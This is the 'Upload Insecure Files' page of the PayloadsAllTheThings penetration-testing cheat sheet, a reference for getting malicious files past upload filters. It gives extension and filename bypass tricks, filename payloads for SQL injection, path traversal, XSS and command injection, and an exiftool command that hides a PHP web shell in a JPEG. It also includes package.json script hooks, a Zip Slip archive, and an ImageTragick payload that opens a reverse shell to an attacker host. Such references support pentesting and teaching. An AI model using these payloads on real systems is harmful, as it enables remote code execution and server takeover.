PayloadsAllTheThings/Upload Insecure Files

Upload Insecure Files

Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.

Summary

• Tools
• Exploits
  • Defaults extensions
  • Upload tricks
  • Filename vulnerabilities
  • Picture compression
  • Configuration Files
  • CVE - ImageMagick
  • CVE - FFMpeg
  • ZIP Archive
  • Jetty RCE
• References

Tools

• Fuxploider
• Burp > Upload Scanner
• ZAP > FileUpload AddOn

Exploits

Defaults extensions

• PHP Server

  .php
  .php3
  .php4
  .php5
  .php7
  
  # Less known PHP extensions
  .pht
  .phps
  .phar
  .phpt
  .pgif
  .phtml
  .phtm
  .inc
  

• ASP Server

  .asp
  .aspx
  .config
  .cer and .asa # (IIS <= 7.5)
  shell.aspx;1.jpg # (IIS < 7.0)
  shell.soap
  

• JSP : .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .actions
• Perl: .pl, .pm, .cgi, .lib
• Coldfusion: .cfm, .cfml, .cfc, .dbm
• Node.js: .js, .json, .node

Upload tricks

• Use double extensions : .jpg.php, .png.php5
• Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): .php.jpg
• Random uppercase and lowercase : .pHp, .pHP5, .PhAr
• Null byte (works well against pathinfo())
  • .php%00.gif
  • .php\x00.gif
  • .php%00.png
  • .php\x00.png
  • .php%00.jpg
  • .php\x00.jpg
• Special characters
  • Multiple dots : file.php...... , in Windows when a file is created with dots at the end those will be removed.
  • Whitespace and new line characters
    • file.php%20
    • file.php%0d%0a.jpg
    • file.php%0a
  • Right to Left Override (RTLO): name.%E2%80%AEphp.jpg will became name.gpj.php.
  • Slash: file.php/, file.php.\, file.j\sp, file.j/sp
  • Multiple special characters: file.jsp/././././.
• Mime type, change Content-Type : application/x-php or Content-Type : application/octet-stream to Content-Type : image/gif
  • Content-Type : image/gif
  • Content-Type : image/png
  • Content-Type : image/jpeg
  • Content-Type wordlist: SecLists/content-type.txt
  • Set the Content-Type twice: once for unallowed type and once for allowed.
• Magic Bytes
  • Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
    • PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
    • JPG: \xff\xd8\xff
    • GIF: GIF87a OR GIF8;
  • Shell can also be added in the metadata
• Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.")

Filename vulnerabilities

Sometimes the vulnerability is not the upload but how the file is handled after. You might want to upload files with payloads in the filename.

• Time-Based SQLi Payloads: e.g. poc.js'(select*from(select(sleep(20)))a)+'.extension
• LFI/Path Traversal Payloads: e.g. image.png../../../../../../../etc/passwd
• XSS Payloads e.g. '"><img src=x onerror=alert(document.domain)>.extension
• File Traversal e.g. ../../../tmp/lol.png
• Command Injection e.g. ; sleep 10;

Also you upload:

• HTML/SVG files to trigger an XSS
• EICAR file to check the presence of an antivirus

Picture Compression

Create valid pictures hosting PHP code. Upload the picture and use a Local File Inclusion to execute the code. The shell can be called with the following command : curl 'http://localhost/test.php?0=system' --data "1='ls'".

• Picture Metadata, hide the payload inside a comment tag in the metadata.
• Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating getimagesize() and imagecreatefromgif().
  • JPG: use createBulletproofJPG.py
  • PNG: use createPNGwithPLTE.php
  • GIF: use createGIFwithGlobalColorTable.php

Picture with custom metadata

Create a custom picture and insert exif tag with exiftool. A list of multiple exif tags can be found at exiv2.org

convert -size 110x110 xc:white payload.jpg
exiftool -Copyright="PayloadsAllTheThings" -Artist="Pentest" -ImageUniqueID="Example" payload.jpg
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg

Configuration Files

If you are trying to upload files to a :

• PHP server, take a look at the .htaccess trick to execute code.
• ASP server, take a look at the web.config trick to execute code.
• uWSGI server, take a look at the uwsgi.ini trick to execute code.

Configuration files examples

• .htaccess
• web.config
• httpd.conf
• __init__.py
• uwsgi.ini

Alternatively you may be able to upload a JSON file with a custom scripts, try to overwrite a dependency manager configuration file.

• package.json

  "scripts": {
      "prepare" : "/bin/touch /tmp/pwned.txt"
  }
  

• composer.json

  "scripts": {
      "pre-command-run" : [
      "/bin/touch /tmp/pwned.txt"
      ]
  }
  

CVE - ImageMagick

If the backend is using ImageMagick to resize/convert user images, you can try to exploit well-known vulnerabilities such as ImageTragik.

• ImageTragik example: Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)

  push graphic-context
  viewbox 0 0 640 480
  fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
  pop graphic-context
  

More payloads in the folder Picture ImageMagick

CVE - FFMpeg

FFmpeg HLS vulnerability

ZIP archive

When a ZIP/archive file is automatically decompressed after the upload

• Zip Slip: directory traversal to write a file somewhere else

  python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15
  
  ln -s ../../../index.php symindex.txt
  zip --symlinks test.zip symindex.txt
  

Jetty RCE

Upload the XML file to $JETTY_BASE/webapps/

• JettyShell.xml - From Mikhail Klyuchnikov

Labs

• Portswigger Labs on File Uploads

References

• Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil
• BookFresh Tricky File Upload Bypass to RCE, NOV 29, 2014 - AHMED ABOUL-ELA
• Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil
• La PNG qui se prenait pour du PHP, 23 février 2014
• File Upload restrictions bypass - Haboob Team
• File Upload - Mahmoud M. Awali / @0xAwali
• IIS - SOAP
• Arbitrary File Upload Tricks In Java - pyn3rd
• File Upload - HackTricks
• Injection points in popular image formats - Daniel Kalinowski‌‌ - Nov 8, 2019
• A tip for getting RCE in Jetty apps with just one XML file! - Aug 4, 2022 - PT SWARM / @ptswarm
• Jetty Features for Hacking Web Apps - September 15, 2022 - Mikhail Klyuchnikov
• Inyección de código en imágenes subidas y tratadas con PHP-GD - Spanish Resource - hackplayers
• A New Vector For “Dirty” Arbitrary File Write to RCE - Doyensec - Maxence Schmitt and Lorenzo Stella
• PHP Internals Book - THE .PHPT FILE STRUCTURE